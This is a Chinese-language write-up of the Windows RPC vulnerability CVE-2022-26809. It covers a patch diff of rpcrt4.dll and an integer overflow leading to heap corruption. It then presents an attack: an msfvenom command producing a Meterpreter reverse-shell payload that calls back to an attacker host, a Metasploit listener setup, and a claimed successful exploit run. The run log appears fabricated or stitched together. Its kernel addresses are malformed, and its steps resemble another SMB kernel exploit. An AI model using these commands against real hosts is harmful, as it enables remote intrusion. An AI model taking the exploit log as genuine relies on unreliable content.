CVE-2022-26809 - 一个 Windows 核心组件(RPC)中的弱点,CVSS 评分为 9.8,并非毫无理由,因为该攻击不需要身份验证,可以通过网络远程执行,并可能导致以 RPC 服务的权限进行远程代码执行(RCE),具体取决于托管 RPC 运行时的进程。这个关键漏洞,如果运气好的话,允许访问未打补丁的运行 SMB 的 Windows 主机。该漏洞既可以从网络外部利用以侵入网络,也可以在网络内的机器之间利用。
厂商信息
已测试的受影响主机:
我们稍后会更新该列表。我们怀疑几乎所有运行 SMB 并开放 445 端口的版本都会受影响。
TCP 135,139,445
该 CVE 指出漏洞位于 Windows RPC 运行时中,该运行时实现在名为 rpcrt4.dll 的库中。这个运行时库被加载到使用 RPC 协议进行通信的客户端和服务器进程中。我们比较了版本 10.0.22000.434(三月版)和 10.0.22000.613(已修补版),并列出了变更列表。
函数 OSF_SCALL::ProcessResponse 和 OSF_CCALL::ProcessReceivedPDU 本质相似;两者都处理 RPC 数据包,但一个运行在服务器端,另一个运行在客户端(SCALL 和 CCALL)。通过对比 OSF_SCALL::ProcessReceivedPDU,我们注意到新版本中添加了两个代码块。


查看修补后的代码,我们发现 QUEUE::PutOnQueue 之后调用了一个新函数。检查该新函数并深入研究其代码后,我们确定它用于检查整数溢出。换句话说,补丁中的新函数是为了验证一个整型变量是否保持在预期值范围内而添加的。

更深入地研究 OSF_SCALL::GetCoalescedBuffer 中的易受攻击代码时,我们注意到整数溢出错误可能导致堆缓冲区溢出,即数据被复制到一个太小而无法容纳它的缓冲区中。这反过来允许数据写入缓冲区边界之外(在堆上)。当被利用时,这种原语将导致远程代码执行!
在其他函数中也添加了相同的整数溢出检查调用:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
整数溢出漏洞及其预防函数同时存在于客户端和服务器端的执行流程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip port
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!